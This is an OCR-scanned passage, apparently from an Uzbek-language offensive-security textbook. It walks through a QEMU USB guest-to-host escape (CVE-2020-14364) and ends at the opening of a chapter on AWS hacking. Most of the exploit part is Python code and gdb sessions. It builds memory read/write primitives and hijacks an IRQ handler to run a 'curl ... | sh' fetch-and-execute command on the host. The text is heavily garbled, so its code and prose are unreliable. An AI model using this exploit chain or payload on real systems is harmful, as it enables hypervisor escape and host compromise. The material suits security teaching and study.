i ‘lgan
~setup index ni buzish uchun zarur bo l:g '
Serﬂp:v build ® yordamchi usuli mavjud.

0 y usul |
.ozlash uchun talab gilinadi, u ufb_
“relative_write” @

2 8-
Dastlab, bizda s->setup len va.=4e
ikkilik ma’lumotlarni )’F:lratlsh uc index © ni s0z kel
Overflow_len argumenti Sw:pfmp;amalna oshiriladi. Blzmngk' Ibiy) va yozila-
= irileandan key1! S e ijobiy yoki salbi
‘Dmlkw—mpyCha(.:lllnlgzrun s->data_buf nisbiy ofset (1jobh
- .- - e ' 1 uc — 2z a
primitivimiz yozis ) | giladi.
digan ma’lumot (10 Vector)ni gabul q

isbiy primitiv usullar o
g ms"'i pirlacli. QEMU funksiyasi. IN pa-
. ?mii va u “/gemu/hw/usb/core.c

O*qish (read) uch e
ini ris
O*gish primitivi IN paketin! };;E:O,'n“ e
ketlarini qayta ishlovehi, “do_tofern_
faylida aniglangan.

Lot *p)
USBDevice *s. USBPacket *p.
static void (fﬂ_n"f’k"”_,m{ GRS

i
!

...omitted for brevity...

switch(s- >.s'emp_.vfme) {

-.omitted for brevily... - g

case SETUP ._ST:'”E-DAS;; SR IN) (@
if (s->setup_buff0] & U! OIS s
int len = s->setup_len - 5=~ i

if tlen > p->iov.size) i

len = p->iov.size;

}

ush_packet_copy(p. s)-r
s->setup _index += !{:‘ - se IHP__'@”) { !
if (s->setup_index == S p STATE_A CK:
:s*-b.se!::pmsra.'e = SETUP_

}

refurn,

}

. g1
index, len),
_=sefup 1
~data_buf T 5 P

g >setup buff0]'®
i o"USBﬂDIR_{N SS;L;ZiEtilifzhiatil-
chaqiruvis i buzish uchun

“usb_packet_copy “g.> setup_inde

 hiladi : TUP paketlari-
Mavjud bo*lsa erishiladl- mas. . hea urinib ko'proq SET{ | I':ive: wri-
A 5 mumbkin € 2 ;manshga - - ammo, “relative_ '
ganligi sababli, bL}fSB DIR IN m © [lagachon buzllglané. chi mumkin. Quyida
Ayni paytda — punki holat buf ni sindiri
; e h. chu —selip
NI yuborish juda kech,

. . 5-
i az15hl va
t€” uchun salbiy ofsetnt © tk

T~
7




B

ushbu yondashuvdan keyin nisbatan_read (/labs/qemu_xpl.py)ni ganday amalga
oshirish ko‘rib chigiladi:

def relative_read(self, offset, length):

data_buf len = USBDevice. data_bufsizeofy)

overflow_len = data_buf len + self. overflow_dataf).sizeof)
setup_buf = selfrequestiehei. USB_DIR _IN, 0, 0, 0, 0)®
setup_buf len = len(setup_buf)

data = [OVector([®

Chunk(setup_buf),

Chunk(

self.overflow build(®

overflow len,

offset + length,
offset - setup_buf len
/\
offset=data_buf len + setup_buf len
v/
self-relative_write(-setup_buf len, data)®
return self.usb_in(length)

Nisbiy_o‘gish primitivi ma’lumotlarn; bit 3 .
: T sia nartalik ¢->dat. e
s 1o ketishiga tayyorlash orgqali tuziladi, pa oqsi;dﬁfﬁﬁ?n"-fiefﬁn’
buf@USB_DIR_IN ni o‘rnatish uchun S=>setup_buf tarkibin; buzadiI (EnichE

) 5 ' : :
gism @s->setup len va s >setup_indey ni buzadi. Keyin relative write® ho-

Laboratoriya ishi 26

» ory s 4:

O‘qish (read) uc.hun msbly. Primitiv usullarn; debugginglash
- davlatning qanday qjl o

ib korruptsiya gilinganini

E( root ghh6)-[/labs]
b i ;:;)lmp python3 gemu_xp|. Py 2> ldevinuil &
E(roor ghh6)-{/labs ]

# gdb -q
(gdb) set pagination off
(8db) handle SIGUSR ] hostop nopring
Signal Stop Print Pass

a Pri o program Descring;
SIGUSRI No No Yes User defined signaj f.fﬂﬂﬂ
(gdb) target remote localxost: 2345

Ox00007f2¢37c67090 in _sapy 0 Jrom target: b6 41 iy 8.

(®db) b !{Sb _packet_copy if bytes > 0x1000 64.50.2

(gdb) ¢

Continuing.

..omitted...

Thread 1 “gemu-system-x86 " hit Breakpoint 1, usb_packet_copy
(p=0x5613128eb630,
ptr=0x5613/364d09¢, bytes=
588 QEMUIOVector *iov = p
i  packet_copy (p=0x36137286b630, pir=0x361364c05%
Run till exit from #0 us _COPY

bvies=4112) at /g emuffll1'r"ri.“f’-"’rf'("'""C"‘)Sg.
d-::“rr,rke::]uju (s i Ox3613/36 4cfbl, p= 0x5613/
244 - -‘-~.w.'_mp_.f'nde.t += len;

(gdb) print s->setup_stale

1112) at /gemw/low/usb/core.c:5 &?’ .
>combined ? &p->combined->iov : &p->iov;

Seb630) at .fqenm’fma"usbfcare‘c:.?-i-i

$1=2
(gdlb) print s->setup_len
$2=41120

(gdb) print s- >setup_index
83 =-41200

(gdb) ¢
d = . " ket CO, _1’
Continuing. 36" hit Breakpoint 1. ush_packet_CoP.
Thread 1 “gemu-system-x
: :588
(p=0x5613/28¢b630. _ 4120) at /qem® Jinv/usb/core. B

& p—>combfncd— >iov
pir=0x5613/364d094,

ptr=0x5613f364d094, bytes
388 QEMUIOVector *jgv =
(gdb) finish

Run till exit from

p—>cnmbmed 7
5613/28¢b630,

#0 usb _pﬂckcfjag\;(p;().\ 561312

bytes=4120) at --’kft’nuv"!n-.‘,r"usb.fm;e.i - {; o ;3_;3&;,63(}) .

(e}o_fokou:nm l{_g:ﬂ-\-jéfj:ﬁﬁl.,[qﬂ,  p=0"

244 s->setup_index += len;

(gdb) print s->setup_len

- . 2 4
;’qemu.«’h'-w’u.sb/core,c. 4

54 = 5364 o
(gdb) p."‘fﬂ'! s-=5el H}J_FHIdC’.\
85 = -4356

(gdb} ,m'f”'r S_}_me_'bfﬂ”] e g1 1eS! ¢ -If.f\f? Vi
86 = 128 1200'® Jksploit J,;;-;‘nnm'a"mun test gili.
, ;;Junfh. harcha € i—-f!{ rak
' I Vi Riaen ”'.\' 1 K€ :
Maslahat: GDB dan J°. —Ja ko 'rsa
USBDevice tarkibini xuddi shi var=t ‘rish mumKin:
‘ ami ko7 010 baytga o'rnati-
- jagi jarayon !
idag! )2

x ", | I‘l‘lati Ox . i . 3
Debugging qismldas quy!e “s-;-sctup__len afi’la?d? bu uzunlik qo shilganda -8
‘rn J

I. Buffer Overflow qua 018 ga ©
ladi v “s->setup_index’ hlanishi) bo‘lgd:.“sﬁ?sem
(ya’nj ‘s->setup_buf ning ot mlf?a rnatila

2. KeyinchaTik, tasodifiy ¥ e Iano‘matiladi»
dex” kerakli uzunlik va (‘;"g:)shusﬂ DIR_IN)E?
tllp__bur[{}l”a q'yman X 5

1 0°qiS
Ketini yuborib ma’lumotlar® od

p len” va “s—>58tllp_in“
- . Ghg
di, shuningdek, “s->se-

i Keyinchalik, IN pa-

Lad

-2
h




Debugginglash
Nisbiy o‘gilganni tasodifiy o‘qishga aylantirish uchun s->data_buf man-
zili kerak. Biz s (USBDevice) manzilinj s->ep_ctl da endpoint zero tuzilmasi

(USBEndpoint) qurilma maydonidan olish mumkin. Ushbu tuzilma /qemu/inclu-
de/hw/usb.h da belgilangan:

struct USBEndpoint {
wnt8 t nr;

uint8 1 pid:

wint8_t type;

wint8_t ifhum;

int max_packer_size;
int max_streams;
bool pipeline;

bool halted:
USBDevice *dev;
OTAILQ HEAD(, USBPacket) queue:;

PN

'Agar. USBDevice tuzilmasining butun qismi ochib berilsa (kelajakda ushbu
tuzilmaning ko‘proq qismi kerak bo*ladi), biz “s->ep_ctl.dev”ni “s->data_buf”
hisoblash uchun ishlatish mumkin, Eksploitning dastlabki qadamida ushbu tuzil-
ma ochib beriladi (/labsfqemuhxp].py):

def on_boot(self; body):

super().on_boot(body)

self.port_reset()

selfusb_dev = USBDevice. parse(

selfrelative ready

USBDevice. data_buf._offser * . ;

USBDevice.sizeoff)

/)

Keyinchalik, nisbiy 0°qishni tasodifiy 0°qishga aylantirish oson bo‘ladi:
def addr_offself, field)-®

return self.usb_dev, ep_ctl.dev + field, offset

def arbfn'a.sy_mad_frear(se{ff addr; datq len):

delta = self. addr_off USBDevice., u

5 ata_buf)®
return se!ﬁre!am'e_read(addr - delta, datq len)

Yozilgan metod addr_of® USBDevice’ga te
donning butun manzilin; aniqlash uchyn ishlati]
read_near® metodidan foydal
Bu primitiv hali ham +2GB o
sababli metod nomida “near”

gishli bo‘lgan har ganday may-
: adi, shuning uchun arbitrary_
anib, S->data_buf manzi|n; olish uchun ishlatiladi.

ralig‘vida cheklanganligini yodda tutish lozim. Shu
qo‘shimchasi mavjud.
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agi ma’lumotlarni

i i ilid

To*liq xotira manzi _

oqish usullari ' . : el o

. e biﬁshdan mustaqil ra\flshdla lshla)d{gas il
& anzil maydoniga kirishga (E](?dlr bo'lg

hirish usullaridan biri ma lumot-

Agar magsad ik i
yoki ret2lib ni yaratish bo ls.a, to iqamalga - . naumor
0*qish primitivi kerak bo‘lad1: El:r; urilmzl{nina iy mmf:;?’bi“(;ET

| | s s : omzodi i
larni xostga qaytaradigan ba'z1 bIr ¢ e
tiladigan !Iio '(:l's;ituichni boshqarishdir. Asosly S

i iga o‘tkazga-
" ino wValue qiymatiga o'tkazg
ING nf SOTOVETS L fusb/desc.c da
DESCRIPTOR. USB*]?TQ ?:rrllzonidan qayta ishlanadi (/qemu/hw/us
nimizda, u usb_dese_strin

belgilangan): =

ice *dev, wint8_t inde:
const char *usb_desc_gel string(USBDevice
Onst ¢ . sb_desc_ i3

i
i

USBDescString *s:

nos. next) (€
OLIST FOREACH(s, &dev->strings: M e

. . - i
if (s->index == index) {
return s-=str;
/
/
retirn NULL: o 1 *dest, size_t len)
¢ index, wintS_
/ *dev, inf AL

. 4 'f{,‘e
int ush_desc_string(USBDeY
I
|
.omitted for brevity... -
Sir = ush dese _gef_g,'rﬂlglrdel, 1
if (str == NULL) {
Str = usb_device_ger_s
if (str == NULL) {
return );

!

il.engm = sfr'!enasﬂ':’ £2+4

dest[0] = bLength: ;

dc.s‘:?fﬁ = USB_DT S TRING: e
i=0; pos =2 @ post1 < len) {
while (pos+1 < bLength _

dest[pos++] = str{i* +);

des."[pos++] = {2

/

dex);

b de vc.‘dev)-?su-[ index]:

return pos;

i ko‘rsatki ‘yicha in-
| ‘yxatini ko rsatkich boyic

; : ksiyasini chaqi-
. dev t strlllgo fun :
ush_desc_string f““ksfzaslllc un qu—dfrss;?l%;::ﬁdagi ma’lumot_]am]a]nuaflc?sgt
\E o= ‘ i ; 3
deks topilmaguncha 0 r%:;l“g qaytanlg;njl::i yetguncha nhusxalashni amalg
radi. Keyin, usb_desc_$ imal pufer had

topilgunga qadar yoki maks

_>strings 10

[y ]
h
N

_



radi ®.dev->strin o'vxati
_ gs ro‘yxatidagi ro* -
. . yxat boshini o* o
CS“‘II("g (?by(e;ktlga ko*rsatkichni o*rnatish mu;];:_n 0°zgartirib, yaratgan USBDes-
eyin, GET DESCRIP b A,
sotkichidan ma Tosmotai ca tT(')R so°rovini yuborib, boshgarayotgan s->str ko
lashtirish uchun yaxshi .2 ytarish mumkin. Soxta USBDescStris ; ﬂbs- strko'r-
el Bt Bt v J ]3‘: s->dat'a_bufichic[a. Bufer to*lib k i ye[?tm i
labs/gemu_xpl.py) py- zish mumkin. Buni amalga oshirish ucl i et
- =t rimitivida ba’zio*zgari uchun relativ
mitiv yoziladi: ba’zio‘zgarishlar kerak. shuning uchuf:‘ya 1¢i pri
angi pri-
def relative write 2
- _2(self, offset, data, d,
jf:;;ﬁ:i:f_;eh = g SBDevice.data bw'” “‘f_’;‘;};'ff—fﬂ*'”e*?!-ﬁ :
erflow_len = data_buf len + self.over
setup_len = len(data) +{; ﬁ;;’ .se{/.'cn-e;ﬂou-_a’ala().s:':eqﬁ)
self-setup(selfrequest(0, 0, 0, 0, 0x100 )

self-setup(selfreq
self.request((, 0, (), .
data_buf contents.appendy( 0. overflow len))

self over !

- ﬁ{e’:a}fgjaifujimrwﬁow_fe;r. setup_len, offset),

)

self. usb_ozn(dara_bzgf_cmuem.vjﬂ

:;Z’;_' ;::s;)ﬂ:;!(f()'ﬁ.?cror([a[‘ hunk(data)]))

i {;ya _{;:!:::te(se{/f addr;_da!a, data_buf co ;

e _ojj’USBDewce. data_buf) e
_write_2(addr - delta, data, dat buf contents)

_Duf s

Endi, tasodifi i
- Y yozish i
yozish yangi argumentni (data_buf cont
_bul_contents) oladi. bu esa

buferning to‘kilishini teti
in :
i YieeSduta l;l::l;;l?shtlrganda usb_out @ ga uzatiladi
. Agar oldindan bir ne:cht::lga q0~§him°ha ma’lLJmotjolelad'lgan. IO Vector. Shu
zil uchun yagona USBDCSCST?“ZIIlaming sirini ochish){fsmms‘h[miz mumKin.
ush_desc_string ning index argu g b TV bir il by o
rgumentidan fo : arta chaqirish o‘rniga
ydalanish mumkj e
in:

d g ] ]
- » v

offset = start addy
4, -8
next = start_addr elf.addr_oftUSBDevice.datq buf)

data = b"
Jor i, address in
: ad enumerate(address |
:;exr + - USBDescSrringsizeof(jess_hﬂl L4
?ra *+= USBDescString build
{‘index’: :
J
if'len(data) + offset > U,
‘ Set > US
ExploitError( ‘address Ji s

L 'Str': address, ‘next’: next}®

evice.data_buf. sizeoff):

, st oo |, y
return I0Vector([Ch unk(data Sﬁ’?’izfj /)

def leak_multiple(self, address list): @

e_write(/

i

start_addr = self-addr_ofl USBDevice.data_buf) * 256

self.arbitrary write( (4]

self-addr offUSBDevice. strings),
start_addr.to_bytes(S, “little’).
fe'f‘ft’.s-t-!'_hufr'd,fnddrcss_!isf. st
data_list = (self.de
return zip(address_list, data_list)

ar.'raddr)

sc_string(i) for i in count(1)) ®

ladi va USBDescString

‘yxatini 0
di va har bir element ® ma’lum
ment (start_addr) s->-

i manzillar 1o

tini hosil gila
iga ega. [kkinchi argu

descr_build @ yordamchi usul
el.emcnﬂa.-i“ing bog:langan ro’yxa
bir manzilga tayinlangan indeks ragam
data_buf ichidagi manzildir.
Mma le ngl leﬂk_mmltiple@ nist.niy

1zili bilan s->satrlarni @ ustigd
d.a boshlanadi va desc_string tom
finchi 256 baytini bo'sﬂ qoldiradi. Nihoyaf.c.l
r0*yxat manzillari bilan bog 1angat har bir 1

chagiriladi.

gan ro"yxatni tuzadi va ro‘yxat boshi
nro‘yxat &s->data_buf[256]
tarkib uchun buferning bi-
g sizib chigishi uchun bitta
@ uchun gayta-gayta

bu bog‘lan
yozadi. Bog'langa
nidan qaytarilgan
esc_strin
ndeks ragami

‘ilgan ho'lib, GET

’ : A o wlea oshii

Eslatmua: “dese s e Gl el py .}‘(.r_l, “dﬂ apes o hi §

DES( 'J“H'};(::?PJL p .\I{H‘fﬁ( "?}Lf D}"— STRING vd indeks argumentlari bilan yubo-
. \ R s ‘roviil L -

iy g . i ]
h telm hf}h.‘.‘ffmff.

osiy manzilini ochib
lanadi. leak_modu-

o - hi

Modul asosining 0415

i f dulning as

Agar funksiya ko‘rsatkichi ma'VJud bo 1]:: ;zt?r al:j it
berish juda oddiy. ELF sarlavhasin! topgune -
Ie'"base primitivi qo'shiladi (flabs/qemu__xp pY):

def leak _module Jbas-:’(sb’(ﬁ -
lop_addr = fptr & ~Oxfif

Wwhile True:

bottom_addr = top_addr - 0x1000 7 !pflnaddﬂ 4
addr_Jist = list(range(1oP- 4 G:fodr-" list):
Jor addr, data in se{ﬂeak_m;" l( o
print(f"[1] scan: {add?':ﬂféﬂ' , & 01):
if data.startswith(b "', LFWw02 w0 W
print(f"\n[+] ELF header foun
return addr

top_addr = addr_listl- 1]

Ushbu dastur har bif iterat
Multiple dan foydalanadi.




RET2LIB o
Ekspluatatsiya jarayonini yakunlashning eng oson yo'li “tizim™ kabi funk-

siyani topishdir. Bitta variant - QEMU
ni topish, leak_module_base dan foydal

ma’lumotlarini yuritish va “tizim™ni topish uchun jarayonni takrorlash. Bunday
funksiya ko‘rsatkichlarini topish umuman qiyin emas. masalan. USBPortOps

(/gemu/include/hw/usb.h)da ulardan ba’zilari bor. Ushbu ko*rsatkichlar GDBda
qanday ko‘rinishini ko‘rib chigish zarur.

ikkilik tizimida funksiya ko‘rsatgichi-
anish va “libe.so™ni topish uchun ELF

Laboratoriya ishi 26.5:
GDB yordamida funksiya ko‘rsatkichlarini topish

’:—(roor ghh6)-[/labs]

# python3 trigger.py &
[2] 558

(root ghh6)-[/labs]

# gdb -q

(gdb) set pagination off
(gdb) handle SIGUSR | nostop noprint
Signal Stop Print Pass to program Description
SIGUSRI No No Yes User defined signal |
(gdb) target remote localxost:2345

Ox000071019d703090 in _start
(gdb) b do_token_out if s->se
Breakpoint 1 at 0x56545d7¢9
(gdh) ¢

Continuing.

() from target:/lib6.4/1.-
tup_len > Ox 1000
6b9: file ‘qemu/hw/ush/core. ¢, line 225.

linux-x86-64.50.2

Thread 1 “gemu-system-x86"" his Breakpoint 1, do token oy

o Al _out (s=0x5654602¢fib0,
P=0x56545(36¢630) at ‘gemuw/hw/usb/core. ¢ 1225 s
225 assert(p->ep->nr == 0);
(8db) print *s->pory, ops
81 = {attach = 0x5_6545d7e066d <ehci_attach>, detgej, ~ 0x56545d7e0778 <ehei detach>.
child_detach = 0x56345d7e08b9 <ehc:'_r:hi!d__de!ack>. Wakeup = 0x56545d7¢096a <ehci_
wakeup>, complete = 0x56545d7¢ 1045 <ehci asyne complete _packet>)}
Biroq gizigarlirog varian USBDevice obyekti ;arf"m h;zsia'a i “free" j y ichidir:

) 5 -satkichidil

(edb) print 3> gdew s obf 81 "free” funksiya ko ‘rsa
82 = felass = 0x56545f3efb0, free =

i Ox7f019d3ebe2() <
0x365460243¢00, ref =2, parent =

8_free>, properties =
Ux56545f4e3060}

Estatma: GDB sessiyvasin
Joydalanish davom eirija);

i hali Yopilmaydi. Undan keyinrog ushbu bo limde

-

keladi. glib'ning aso'siy man-

_system-x86 kabi katta bmz?rm s.kjaner-
B Sj'l' gan funksiyalar orasida tizimga
e l;;vjud: ulardan biri —g_spawn_

.sjvasiga mos
Ko'rsatkich elibning g_free funksiyasig

zilini ushbu funksiya orqali an‘iqlash
lashdan tezroqdir. glib tomonidan ediganlari
o'xshash funksionallikni taqdim etadig
Command line async.

ELF sarlavha qismini tahl'
niladi. Modul leak primitivent ‘?ql )
bittasini yozish mumkin (qemu_XplL.pyJ:

|s’dan foydala-
i ish uchun pwmot?
il qlllshda?isclllf:;h::lab giladi. shuning uchun faqat
dim €

def leak one(self, addr):
_ data = next(self-leak_m
return dara

ultiple([ addr]))

+ uasi aniglanish uchun tayyor:
line async” funksiyasi aniqla
i mand_lne_
Endi “g_spawn_com
; bj.free . base(fprr)
s e Y et b
I ‘DnELF(self-leak_one 2=~ ine_as,
. f= "; !-"'”"H' !})‘}::fﬁf;;;((‘;jspm '--‘nr_.:'ununand_hr
ret2func = d. g .

i Y Cnti
a = |

I nars .
Dastlab kerak bo‘ladigan rsatkich topish- Q
Mumkin bo*lgan i'unksi}’agaskfanadi:
de/hw/ush. h) tuzilishidan bo d*/
y : o Conﬂl?ffc
/* USB port on which a device eond
struct USBPort {
USBDevice *dev;
int speedmask;
int hubcount;
char pathf16]:
USBPortOps *ops: ,
void *opaque; 1 index, may
int fndef‘: 1* {'n.'e'lf'»'_ﬂf‘rJr por lrf-'f
QTAILQ ENTRY(USBPO
4 r bir port

|ganda, ha emu/hw/

.

1) next;

ni boshqarish
idiruv USBPort (/gemu/inclu-

“usb registerﬂpo‘rt” ﬁmk.-
usgfbus.c” faylida belgi-

i ushir : bog*langan ro‘yxat-
EHCI kontroller! 1511g:at . (pu funksty aratadi va unt bog

. a l
Siyasi orqali ro‘yxatgio““ ort” obye
la“e‘:’,an). Bu funksiya

‘ .. ue, int index,
Ning oxiriga qo*shadi:

*port, void *opad
U

. ¥huus,
/SBBuS
void ush register J)oﬂ([’jig:ask)
USBPortOps *ops. int 5P

{ ;‘nd&?—fo op 5) *

’el
usb_fill port(port, opaq! 7




OTAILQ INSERT TAIL(& bus-> -free, port, next);
bus->nfree++;

/

| Kontroller portlari “usb_ehei_realize” orqali ro*yxatga olinadi (bu funksiya
“/qemu/hw/usb/hcd-ehei.c™ faylida belgilangan).

void usb_ehci_realize(EHCIState *s, Der
!

—~.omitted for brevity...

Jor (i =0; i < s->portnr; i+ +)f
usb_register_port(&s->bus, &s-
USB _SPEED MASK HIGH):

iceState *dev, Error **errp)

“portsfi], s, i &ehei _port_ops,

Eu hol'at port—>0paque EHCI kontroller holatiga (EHCIState) mos keladi.
Ushbu tuzilmaning dastlabki maydonlaridan bir IRQState (“/qemu/hw/core/

irq.c”) ko‘rsatkichidir, Oldingi ochilgan GDB tuach : TN
tib olishimiz mumkin. g Sesstyasidan uning tarkibini chiga

Laboratoriya ishj 26.6:

GDB yordamida IRQState holatini ko‘rsatish

(gdb) print *((EHCIState *)s->pori-
83 = {parent_obj = fcluss =
properties = 0x565460272f) ref = I, parent =

¢ ; s parent = (x0)}
handler = 0x56545d769hdq <pci_irg_handler> /
opaque = 0x565460249¢dl). n = 3y .

> opaque)-Hrq

0x56545138af40), fiee ~ Ox7f019d3ebe20 <g free>,

Bu yerda, irq->handler y
hw/pci/pci.c) ishora qiladi, bo
uzatiladi.

mumiy PCI handler’j

ga (pei_irq h: . lqemw/
shqa ikki maydon By i

Irq->opaque va irq->n esa unga

static void pei_irg_handler(void *opaque, int irq_num, ing level)
IRQ ishlov beruvchis; OXir-
di. shu sababli qilinishj kerak b
command_line_async manzj);
lan almashtirish. Bu gemy x
sifatida qo*shiladi: -

ogibat ehei_raise irq
0°lgan yagona narsa
va irq

tomonidan ishga tushirila-
—irq->handler ni g_spawn_
I ~Zopaque nj buyruq qator; bo‘lgan satr bi-
pl.py-dagi ckspluatatsiya kodining yakuniy bosgichi

port = USBPort. parse(®
selfarbitrary read near(

selfusb_dev.port, U.S'.BPDH.Sizeaf()
)) '

B -

ehei state = EHCIState.parse(®
self.arbitrary_read near(
port.opaque. EHCIState.sizeof()
)

irq_state = IRQState.parse(®
self.arbitrary _read near(

ehei state.irg, IRQState.sizeof()
i_)”m, =~ Hikhac Ycurl _ﬂ‘hHp:;f,.-fm‘m'_\-gsf:Sﬂﬂﬂ:-jpwn | sh™\0
print(f[+] Executing: {cmd([:-1].de code()})

self.arbirrary write(

ehei_state.irg,

IROState. build({ _

‘parent_obj’: irq_state.parent_0bj.

‘handler '; ret2func,®

'c;;:::q.r:e ' sel) ,{';{ddr__f?/ (USBDevice.data_bu). e

o)

2

10Vector([Chunk(cmd)])®

)
CIState) va chci_state->irq® ning :"i:
rite chaqiruvi joriy [RQState obyektini
pawn__commandﬁline_asynco ga
ga ishora giladi. Buyruqlar qatori
hinchi argumentida uzatiladi.

Kod s->port®. port->opaquc@ (EH

zib chigqishi bilan boshlanadi'_arb'trargf‘: s

yangisi bilan almashtiradi, |rq->h3?a :)ugi:6

ishora qiladi va irq->opaque ki ite® ning uc

s->data_buf ga yozilib. arbitrary_wrl s )
o stni ishea tushiris

3 Eksp!‘c}g:;fpwied” faylini yaratadigan

zlanishi kerak:

q ishi 26.

uchun, faqatgind
rverni so

Laboratoriy
Eksploitni sinab ko'rish hi web-s€
“Pwn” faylini xizmat ko'rsatuve

(root ghh6)-[/labs] ]
:em’m “touch /mp/pwned” = P!

(root ghht)-[/1abs] 000 > /dev/null &
E#Rl'!huuj -m hitp.server
[1]9 .

(root ghh6)-[/labs.
:P.w!mn.i qemu_.\'p!‘p '};}:;ngiggﬁ 63
PRANE: owatyat BOOR 7f2de13€2 000 jave a copy of the ELF
¢ GRETT headerfom-'d . 2’.;!3“55 much faster gyos i
. il 5 :
£1] No ELF provided. L¢ . Couldnot find tog DT_DEBUG
being leaked. d line_asy
[-] Resolving b'g
[*] No linkmap _fﬂl;"dﬁ 3 Sl
[*] Trrving remote 100, mitab off5ers
[ *é -g;?:f.fa.«'h{hash. ‘-‘""";“q{’ Hag:féjgégic'150€700
[*] Found DT GNU_H4:

n
spaw "__commﬂ

<26[

_



[*] Found DT _STRTAB at Ox7f2dc150e710
[*] Found DT _SYMTAB at Ox7f2dc 150e720
[*] .gnu.hash parms )
[*] hash chain index
[*] hash chain
1{*] Ox7f2dc 1483a30
+] Executing: sh -¢ “cur - :
B g i e:;? curl -sf° hrrp‘//faca!xosr:8000/;)1;'u | sh”
127.0.0.1 - - [25/Jul/202 H44:50] J
b g;mé)_[/‘aabs]] 01:44:50] “"GET /pwn HTTP/1.1" 200 -
#1s /imp/
pwned

Ushbu eksploitni umumi i
Al ¥y magsad]| . " "
ko*chirish o‘quvehi uchun sl S?fatidla?z]cilz;lr?;té\;cht OT’ga (masalan. Linux)

bk Xulosa

. s ° e n o

tatsiyalash va foydalanuvchi rej?l’n]i]al:(;(:s;o:l: ?0' Igan amaliy gipervizor eksplua-

berildi: Ekspluatatsi : 3 mponentining zaifligi bo'yi i )

tahlil qmshﬁanaﬁéiﬁiifs"“{ ishlab chiqish jarayoni zaiﬂiEning}al:;L? '“iéﬁﬁ]iﬂéf

lar ishlab chiqildi. Y: '}’Ol:lll.lg.an. Buning ortidan trigger va bir : sy
quldi. Yangi primitivlar avvalgi primitivlar ustidz ! .?;.ml: pl‘lmlll\c;

qurildi, bu maqgsa

ustidan nazoratni kuchaytirish ;

ytirish imkonini ;

fovaal co Denayinsh imkonini beradi. Yakuni .. e
e a aI‘ll-.lV:Ci'l! rejimi kodini bajarishi mumkin bot|o umy. PR xos.tda Ia‘c)':)d]ﬁ:"
ishlab chiqildi. gan to‘liq ishlaydigan eksploit

Ushbu bobda eng oddiy

« 0“shi
USB 2.0 Specification” Qo‘shimcha manbalar

cation
' “Enhanced Xost Controller In
1r-ltel.com/contemidam!wwwf
ci-specificationfor-usb.pdf

WWW, ) 3
.usb.org,/documem-]1braryx’usb—20—specm'

te :
Publicfusf:::’f:le e o vereal Boral Buutt = oo
ocuments/technical-specifications/eh-

Foydalanilgan adabiyotlar:

1.“CVE-2020-14364."h
b2, . https://access.red i

4 4 redhat,

: “.GI?LUb REST API. hﬁps:f/docs.githubi?;:]/;f oo vty EA1430%

34, ttps:,’/stedolan.github.io/jq/ | =

4. gdbserver(1)-Linux manual :
manl/gdbserver. 1 html.

5. “Pwntools,”

age.” .
page, htTPSJf'man?.org/]inux/man—pages/

https://docs.pwntoolslcom/enfstable/

VI BO‘LIM.
BULUT (CLOUD) TIZIMLARIDA XAKERLIK

27-BOB. AMAZON VEB-XIZM ATLARIDA
XAKERLIK

Ushbu bob quyidagi mavzulamni 0z ichiga oladi:

— AWS, uning arxitekturasi va ba’zi eng yaxshi amaliy ishlar hagida ma’lumot

berish:
— AWS autentifikatsiya turlaridan foydalanish:
— Hujumchilar vositalaridan foydalanib Backdorlarni aniglash va qidirish:

— EC2 Compute da davomli doimiylik yaratish uchun AWS ni ishlatish.

2006-yilda asosiy Amazon biznesiga

qo*shimcha sifatida yaratildi. U Amazon veb-saytining icl'1ki ehtiyojlarini qon-
dirish uchun. veb-mulklarini kengaytirish maqsadida yarz}nlgan. O:Shandan beri
AWS bozorni egallab keldi. lekin bozor ulushi asla-sekl_n.kamaylb borm?qda,
Ehtimol. kunlik vazifalarni bajarishda AWS bilan 0°z-0°zidan mulogot qilina-
‘Oto ‘ v

Y lalzjt;lig;)u]ﬁ) E;laal;;WS qanday ishlashini va AWS icl}idagi -n}exanizmlz.lrd.an?
qanday qilib tizimlar yoki xizmatlarga -ki'rism.u s_unste‘n?ol Cl.l|l_5h t_numkmhg;
o‘rganiladi. AWS-ni ssuper” Operatsion tlzun's:fa?tlda’ko 'I'Ib chigiladi. U .yagona
kompyuter operatsion tizimi bilan ko‘p}ab bir xil pnntsupla'rga e2A, lek1{1 k_atta
miqyosda. Har ganday operatsion muhit kabi, u resurslarni tartibga solishi va
ularni boshqarilgan tarzda bajarishi kerak.

Amazon Web Xizmatlari (AWS)

p-xizmatlari

birlashtirilgan API orqali taqdim etil-
n ko*plab xizmatlar an’anaviy-
masalan, hisoblash, tarmoq va
an’anaviyma’lumotlar mar-
at shundaki, muhit butunlay
dir. Bu shuni anglatadi-
ar kim siz bilan

Amazon ve
izmatlari (AWS) — b'u :
mazon taqdim etadiga
atlarga :::‘xshayd;t '
hta xususiyatlari uni
muhim xususiy
1i xizmat ko‘rsatish

. * 3 h
ki, elektron pochta manzili va kredit karta rﬁi;{?lga ega bo'lgan
bir xil myhitda xizmatlarga ega bo lls.l-“krg‘up mij(;zii

Bu sohada ishlatiladigan ata'm:ws s
Mmijozlilik bilan chegaralanMa L

Amazon veb-x
gan xizmatlar to*plamidir. A
ma’lumotlar markazidagi XiZ™
saglash. Biroq, AWS ning bir nech';
Kazi muhitidan farglantiradi- BII‘II‘ICI?I.
jamoatchilikka ochiq va to'1id 00 2

muhit, ammo bu faqat ko'p
bir-biridan faqat ko‘p mijoz-

{ 263




li yondashuv orqali ajratib qo’ymasligi kerak: u har bir mijozga o'z resurslari-
ni va cheklovlarinj boshqarish yo*lini taqdim etighj zarur, Shu nuqtai nazardan,

AWS’ning asosiy Xizmatlaridan ba’zilarining qiziqarli Xususiyatlari muhokama
qilinadi.

Xizmatlar, joylashuvlar v infratuzilma

Yozuv vagtida AWS ning portfelida 80 dan ortiq xizmat mavjud. Bu xizmatlar
asosan 20 dan ortiq global ma’lumotlar markazlaridq mavjud bo‘lib. kelajakda
ularning soni ko*payishi kutilmoqda. AWS Katta hisoblash landshaftida kO'Pla_b
Xizmatlar taqdim etadi, Ba’zi xizmatlar an‘anaviy axhorot texnologiyalariga k‘:
radi, masalan, hisoblash vq larmoq xizmatlar, boshqalari esa “xizmat sifatida
taqdim etiladigan an‘anaviy dasturlardir. An’anaviy xizmat]arning asosiy tushun-
chasi shundan iboratki, ular Amazon bozorga chiqqan birinchi xizmatlar bo*lgan
va ko*p muhitlarda zaryr bo‘lgan Xizmatlardir.

Misol uchun, Elastjc Compute Cloyg (EC2) —bu Amazonning virtual mashina
hisoblash tizimi. Birog, EC2 Amazonning ekosistemas; ichidagi ko*plab qo-shim-
cha xizmatlaming asosini tashkil etadi. :

